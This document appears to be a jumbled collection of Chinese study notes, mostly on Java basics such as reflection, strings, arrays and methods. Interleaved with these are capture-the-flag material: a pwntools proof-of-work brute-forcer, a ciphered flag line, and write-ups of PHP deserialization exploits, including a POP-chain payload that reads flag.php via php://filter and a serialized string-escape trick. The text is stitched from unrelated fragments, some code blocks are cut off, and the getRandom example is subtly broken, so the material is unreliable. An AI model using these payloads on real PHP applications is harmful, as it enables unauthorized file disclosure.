package reflection; #Cat.java public class Cat { public Cat(){ } public Cat(String name){ } public void hi(){ // System.out.println("1"); } public void cry(){ // System.out.println("2"); } }
public class ReflectionDemo { public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException { m1(); m2(); } public static void m1(){ Cat cat = new Cat(); long start = System.currentTimeMillis(); for (int i = 0; i < 100000; i++) { cat.hi(); } long end = System.currentTimeMillis(); System.out.println("传统方法耗时:"+(end - start)); } public static void m2() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { Class cls = Class.forName("reflection.Cat"); Object o = cls.newInstance(); Method hi = cls.getMethod("hi"); long start = System.currentTimeMillis(); for (int i = 0; i < 100000; i++) { hi.invoke(o); } long end = System.currentTimeMillis(); System.out.println("反射方法耗时:"+(end - start)); } }
public static void m3() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { Class cls = Class.forName("reflection.Cat"); Object o = cls.newInstance(); Method hi = cls.getMethod("hi"); hi.setAccessible(true); long start = System.currentTimeMillis(); for (int i = 0; i < 1000000000; i++) { hi.invoke(o); } long end = System.currentTimeMillis(); System.out.println("反射方法m3耗时:"+(end - start));
Owl wvn n xhkm SBWav krttqbu gfq gja jhheu up yljycxjpu, vvtx R jzeh pydv usd zp lalhmk, ic brtkac ya whep{866q3755-t358-5119-txnr-juw666e8099m}, uroa okv!
from pwn import * from Crypto.Util.number import * import gmpy2 import string import hashlib table = string.digits + string.ascii_letters r = remote('url',port ) def proof(): r.recvuntil(b'sha256(XXXX') line = r.recvline()[:-1].decode() print(line) tmp = line[line.find('+') + 1:line.find(')')] print(tmp) aim = line[line.find('== ') + 3:] print(aim) for i in table: for j in table: for k in table: for l in table: ans = i + j + k + l if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim: print(ans) r.recvuntil(b'Plz Tell Me XXXX :') r.sendline(ans.encode()) return
public class GetClassName { public static void main(String[] args) throws ClassNotFoundException{ // 类的.class属性 Class c1 = GetClassName.class; System.out.println(c1.getName());
// 实例化对象的getClass()方法 GetClassName demo = new GetClassName(); Class c2 = demo.getClass(); System.out.println(c2.getName());
// Class.forName(String className): 动态加载类 Class c3 = Class.forName("com.GetClassName"); System.out.println(c3.getName());
#Cat.java public class Cat { private String name = "1"; public void hi(){ System.out.println("hi"+name); } public void cry(){ System.out.println("miaomiaomiao"); } }
public class Test { public static void main(String[] args) { String text = "woshishuaige"; System.out.println(text.substring(0)); System.out.println(text.substring(2)); System.out.println(text.substring(5)); } }
运行截图
这里把字符串里的每个字符进行排序编号,就会很容易理解
1 2 3 4 5 6 7 8 9
public class Test { public static void main(String[] args) { String text = "woshishuaige"; System.out.println(text.substring(0,2)); System.out.println(text.substring(2,5)); System.out.println(text.substring(5,10)); System.out.println(text.substring(10,12)); } }
前面数字表示起始字符,后面表示结束字符
方法indexof用于在字符串中查找字符
1 2 3 4 5 6 7 8 9
public class Test {
public static void main(String[] args) { String name = "zhang"; int index = name.indexOf('a'); System.out.println(index); }
public class Test { public static void main(String[] args) { String str ="abcdefg"; for(int i=0;i<str.length();i++) { char letter = str.charAt(i); System.out.println(letter); } } }
public static void main(String[] args) { int i; for(i=1;i<10;i++) { if(i%3==0) break; System.out.println(i); } }
3.2 contiue:结束本次循环进入下一次循环
1 2 3 4 5 6 7 8
public static void main(String[] args) { int i; for(i=1;i<11;i++) { if(i%3==0) continue; System.out.println(i); } }
3.3 return:离开语句所在的方法
1 2 3 4 5 6 7 8
public static void main(String[] args) { int i; for(i=1;i<11;i++) { if(i%3==0) return; System.out.println(i); } }
小知识: 三目运算符也就是if-else的简写形式,Switch中不是每个条件都需要break
数组(与C大致一同,但有不同)
一、一维数组
定义:类型[ ] 数组名 = new 类型[长度];
数组中存有默认值0,而在引用类型[ ]中为null;
如果在定义前,已经知道数组里存放的内容,那可以简单定义为:
类型[ ] 数组名 = {值1,值2,…,值n};
类型[ ] 数组名 = new 类型[ ]{值1,值2,…,值n};
动态初始化如:int[ ] array = new int[4];
静态初始化如:int[] array = new int[]{1,2,3,4};
但是像int[] array = new int[3]{1,2,3};就是错误的写法
这样也是错的,int[ ] array;array[ ] = {1,2,3};也是错的!!!
而这样是可以的:把String names[ ] = new String[ ]{“加油”,“冲呀”};
拆为:String names[ ] ;和 names[ ] = new String[ ]{“加油”,“冲呀”};
创建一个随机数组:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import java.util.Random; //导入包
public class Test { public static void main(String[] args) { Random rand = new Random(); int[] a = null; a = new int[rand.nextInt(10)]; //开辟内存空间,长度是[0,10)的随机数 System.out.println("数组的长度:"+a.length); for(int i=0;i<a.length;i++) { a[i] = rand.nextInt(100); System.out.println("a["+i+"]="+a[i]); } } }
public class Test { public static void main(String[] args) { int nums[] = {100,5}; int max = nums[0]; int min = nums[0]; for(int i=1;i<nums.length;i++) { if(nums[i]>max) { max = nums[i]; } } for(int i=1;i<nums.length;i++) { if(nums[i]<min) { min = nums[i]; } } System.out.printf("该数组中最大值为:%d,最小值为:%d",max,min); } }
二、二维数组 定义:数据类型[ ][ ] 数组名 = new int[行数][列数];
如:int[ ][ ] array = new int [3][2];或者int[ ][ ] array; array = new int[3][2];
我这里将这个理解为线代里的行列式或者矩阵
1 2 3 4 5 6 7 8 9 10 11
public class Test { public static void main(String[] args) { int[][] nums; nums = new int[3][2]; for(int i=0;i<nums.length;i++) { for(int j=0;j<nums[i].length;j++) { System.out.println("nums["+i+"]["+j+"]="+nums[i][j]); } } } }
再举例列数不定
1 2 3 4 5 6 7 8 9 10 11 12 13
public class Test { public static void main(String[] args) { int[][] nums = new int[3][]; nums[0] = new int[2]; nums[1] = new int[2]; nums[2] = new int[] {1,2}; for(int i=0;i<nums.length;i++) { for(int j=0;j<nums[i].length;j++) { System.out.println("nums["+i+"]["+j+"]="+nums[i][j]); } } } }
如果知道数组中存的值还可以:
1 2 3 4 5 6 7 8 9 10 11
public class Test { public static void main(String[] args) { int[][] nums = {{1,2},{1,2,3},{2}}; for(int i=0;i<nums.length;i++) { for(int j=0;j<nums[i].length;j++) { System.out.println("nums["+i+"]["+j+"]="+nums[i][j]); } } }
}
sample计算工资总额
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
public class Test {
public static void main(String[] args) { int sum = 0; int[][] nums = {{1,2},{1,2,3},{2}}; for(int i=0;i<nums.length;i++) { System.out.printf("第%d个人的销售总额为:",(i+1)); for(int j=0;j<nums[i].length;j++) { sum += nums[i][j]; } System.out.println(sum); sum = 0; //清零便于下一次计算 } }
}
三、多维数组 定义:数据类型[ ][ ]…[] 数组名 = new int[ ][ ]…[]
另外在Java中null可以为引用类型赋值,作为初始值
1 2 3 4 5 6
public static void main(String[] args) { String name = null; name = "冲冲冲"; System.out.println(name); }
public static void main(String[] args) { Random random = new Random(); int buf; int[] nums = new int[random.nextInt(10)]; for(int i=0;i<nums.length;i++) { nums[i] = random.nextInt(100); } for(int i=0;i<nums.length-1 ;i++) { for(int j=0;j<nums.length-i-1;j++) { if(random.nextBoolean()) { buf = nums[j]; nums[j] = nums[j+1]; nums[j+1] = buf; } } } for(int x:nums) { System.out.println(x); } }
}
方法:
1.方法的定义
修饰符 返回值类型 方法名(参数列表){
方法体
[return 返回值]
}
两数比较大小的例子
1 2 3 4 5 6 7 8 9 10 11
public class Test { public static int max(int num1,int num2) { int result; if(num1>num2) { result = num1; }else { result = num2; } return result; } }
2、方法的使用 Add:this代表本类对象
哪个对象调用这个方法this就是它;
比如Person p1 = new Person(); 此时this代表p1;
如果修饰符没有写,就默认为default
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
public class Person { String name; int age; void talk() { System.out.println("冲冲冲!!!"); System.out.println("我是"+name+"今年"+age+"岁"); } //当局部变量与成员变量重名的时候用this区分 void setName(String name){ this.name = name;//将局部变量赋值给成员变量 } void setAge(int age) { this.age = age; } }
Person1test.java
1 2 3 4 5 6 7 8 9 10
public class Person1Test {
public static void main(String[] args) { Person p1 = new Person(); p1.setName("1"); //调用方法 p1.setAge(32); p1.talk(); }
}
3、方法中的形参与实参 形参:隶属于方法体,是方法的局部变量
在调用方法时,实参和形参在数量、类型、顺序上必须保持一致;
4、方法的重载
三要素:必须在同一个类;必须方法名相同;必须参数列表不同(个数与类型)
注意:重载定义与返回值无关
1 2 3 4 5 6 7 8 9 10 11
public class Test { public int add(int a,int b) { return a+b; } public int add(int a,int b,int c) { return a+b+c; } public float add(float a,float b) { return a+b; } }
public class Person { private String name; private int age; private void talk() { System.out.println("我是"+name+",今年:"+age+"岁"); } private void say() { talk(); //this.talk(); } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
7、方法的递归调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
public class Test { public int add(int n){ int result = 0; for(int i=1;i<n+1;i++) { result += i; } return result; } public int addRecursion(int n) { if(n==1) { return n; }else { return n+addRecursion(n-1); } } }
8、代码块 格式:{ 语句}
分为四种;
1、普通代码块;
2、构造代码块;
3、静态代码块;
4、同步代码块;
//普通代码块:方法名后或方法体内用一对“{}”括起来的数据库;
1 2 3 4 5 6 7 8 9 10
public class Test { public static void main(String[] args) { { int x = 10; System.out.println("普通代码块内,x="+x); } int x = 100; System.out.println("x="+x); } }
public class Test { public static void main(String[] args) { int[] oldArr = {1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}; int count = getValueNumFromArray(oldArr, 0); int[] newArr = new int[oldArr.length-count]; copyValue(oldArr, newArr); printArray(newArr); } public static int getValueNumFromArray(int[] arr,int val) { int count = 0; for (int i = 0; i < arr.length; i++) { if(arr[i]==val) { count++; } } return count; } public static void copyValue(int[] arr1,int[] arr2) { int j = 0; for (int i = 0; i < arr1.length; i++) { if(arr1[i]!=0) { arr2[j] = arr1[i]; j++; } } } public static void printArray(int[] array){ for (int i = 0; i < array.length; i++) { System.out.println(array[i]+"\t"); } System.out.println(""); } }
两个数之间的随机数
1 2 3 4 5 6 7 8 9 10 11 12 13
public class Test{ public static void main(String[] args) { int num1 = 1; int num2 = 16; for(int i=0;i<100;i++) { System.out.println(getRandom(num1, num2)); } } public static int getRandom(int num1,int num2) { int result = (int)Math.random()*(num2-num1)+num1; return result; } }
首先index.php用了POST传参传过去一个host参数,然后本地又发起了一个GET请求,传了一个参数f=90131,通过修改此参数,发现PHP报错 simplexml_load_file(): IO warning : failed to load external entity “xml90132” in varwwwhtmlresult.php on line 23
simplexml_load_file() 函数是把 XML 文档载入对象中,所以初步猜想,应该是nmap将扫描的结果保存为了xml文档,然后PHP再打开该文档解析,后台命令可能为nmap -oX 127.0.0.1 .xml
Welcome to index.php <?php flag is in flag.php 提示:flag在flag.php文件内,猜测是当前网站根目录下的flag.php WTF IS THIS? Learn From https:ctf.ieki.xyzlibraryphp.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 And Crack It!
class Modifier { 类,Modifier protected $var; 保护属性,$var public function append($value){ 自定义方法,append($value) include($value); 文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容 } public function __invoke(){ __invoke()魔术方法:在类的对象被调用为函数时候,自动被调用 $this->append($this->var); 把保护属性$var传入自定义方法append($value),执行一次 } } 很明显: 这里我们要想执行文件包含flag.php,那么就要调用append($value)方法 这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法 这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数 这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php:filter....................[省略]
class Show{ 类,Show public $source; 公有属性,$source public $str; 公有属性,$str public function __construct($file='index.php'){ 公有构造方法,在类的对象实例化之前,自动被调用 $this->source = $file; 给$this->source属性赋值$file echo 'Welcome to '.$this->source."<br>"; 打印字符串 } public function __toString(){ __toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用 return $this->str->source; 返回,str属性值的source属性 }
<?php #删除了源码中不必要的部分 class Modifier { protected $var="php:filterread=convert.base64-encoderesource=flag.php"; } class Show{ public $source; public $str; } class Test{ public $p; } $a = new Show(); $b= new Show(); $a->source=$b; $b->str=new Test(); ($b->str)->p=new Modifier(); echo urlencode(serialize($a)); #因为Modifier类中的属性var为protected,将序列化后结果进行URL编码后可省略考虑不可见字符直接复制而丢失#结果为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D?>
public class TestJava { /** * 主方法 * 一个类如果用public声明 那么它必须与文件名一致 如左边*.java */ public static void main(String[] args) { int num = 10; byte age = 20; float price =12.5f; double weight = 12.5; } }
数据类型是会根据情况自动转换的 1.自动类型转换:低到高
比如:byte a = 10;int num = b;
double d = 10;用system.out.println(d);会答应出10.0;
2.强制转换
double d = 10.1;
int a = 10;
此时输出会省略d的小数部分输出10;
此处注意 float f = 3.1是错误的,因为java中3.1默认为double,我们应该这样定义 float f =3.1f(大小写均可)或者float f =(float)f 3.1
上面主要是变量,接下来是常量
对于变量或者是常量,都需要先声明
1 2 3
语法: final 数据类型 常量名称 = 值 规范:常量名称通常使用大写字母,比如PI、YEAR等等 规则:常量名称符合标识符的要求,只能用字母、数字、_、$组成,不能以数字开头、不能使用关键词
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
public class TestFinal { static final int YEAR = 365; //定义一个常量(在main外或者里面都可以) //main方法是静态的 所以上面定义也要加static public static void main(String[] args) { System.out.println("一年有"+YEAR+"天"); System.out.println("两年有"+YEAR*2+"天"); } } 如果把YEAR的定义放在main里面就可以不加 public class TestFinal{ public static void main(String[] args) { final int YEAR = 365; System.out.println("一年有"+YEAR+"天"); }
}
变量的声明和赋值已经在上文表明,就不再赘述了
1 2 3 4 5 6 7 8 9 10
public static void main(String[] args) { int num = 10; System.out.println("num="+num); double money = 1000000; System.out.println("money="+money); num = 100; System.out.println("num="+num); char ch = 'z'; System.out.println("ch="+ch); }
public class Test { static int k = 1; //即为成员变量---在类体中定义 public static void main(String[] args) { }
}
2.局部变量 在一个函数(方法)或代码块中定义的变量
特点:局部变量在方法或代码块被执行的时候创建,在结束时被销毁
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
public class Test {
public static void main(String[] args) { int a = 1; //以下就是一个块 { int b = 2; System.out.println("a="+a); System.out.println("b="+b); } int b = 3; //因为在上面执行结束后 代码块就被销毁了 System.out.println("a="+a); System.out.println("b+"+b); }
public class Test { static int var = 1; public static void main(String[] args) { int var = 2; System.out.println("the value of var = "+var); }
}
例二: public class Test { static int var = 1; public static void main(String[] args) { int var = 2; System.out.println("the value of var = "+var); pt(); } public static void pt() { System.out.println("the value of var = "+var); }
}
#如果不删除int var = 2,结果会显示 2,删除后则为1;
另外一个小知识: Java在作用范围中禁止嵌套,在C/C++中是可以的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
报错 public static void main(String[] args) { int a = 1; { int a =2 System.out.println("a="+a); } } 在C语言中正确 #include<stdio.h>
int main() { int a = 1; { int a=2; printf("%d",a); } }
challenge1
1 2 3 4 5 6 7 8 9 10
1-100的累加和 public class Test{ public static void main(String[] args){ int sum = 0; for(int i = 1;i <= 100;i++){ sum += i; } System.out.println("sum = " + sum); } }
public static void main(String[] args) { char ch = 'b'; short a = -2; int b = 3; float f = 5.3f; double d = 6.28; System.out.print("(ch/a)-(d/f)-(a+b) = "); System.out.println((ch/a)-(d/f)-(a+b)); } //输出 (ch/a)-(d/f)-(a+b) = -51.18490561773532
3.1 &和&&以及||和|的关系
3.2 递增递减运算符
++1 1++ –1 1–;
3.3 位运算
小技巧:任何数与0000 0001进行或运算后,第一位将变成1;
任何数与1111 1110进行与运算后,第一位将变成0;
一个三目运算符的简单操作
1 2 3 4 5 6 7
//一个三目运算符的简单操作 public class ex { public static void main(String[] args) { boolean ret = ((12345679*9)>97654321*3)?true:false; System.out.println(ret); } }
<?php class test{ public $a; public $b; function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";} function happy(){return $this->a;} } $a = new test(); echo serialize($a); ?>
为了增长33,我们需要username里加入33个单引号,它们会被替换为33个no,使长度增加33,由此以来,上图中x的值也可以确定了,输入的username即为Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”;i:1;s:18:”Today is Northind!”;},x为它的长度(74),所以我们最后得到的字符串为:
a:2:{i:0;s:74:”Northind’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”(注意最后这里是个双引号);i:1;s:18:”Today is Northind!”;};i:1;s:15:”Today is Mondy!”;}
我们可以看到,在这个反序列化字符串被过滤后,里面的单引号全部被替换为“no”,使”Northind”+”no”*33的长度之和等于74,配合上我们传入的”,满足PHP反序列化的条件之一,后面的”;i:1;s:18:”Today is Northind!”;}先闭合了一个变量的正确格式,又写入了一个变量正确格式,最后闭合了一个反序列化操作。该挤出的被挤出逃逸了,该丢弃的丢弃了。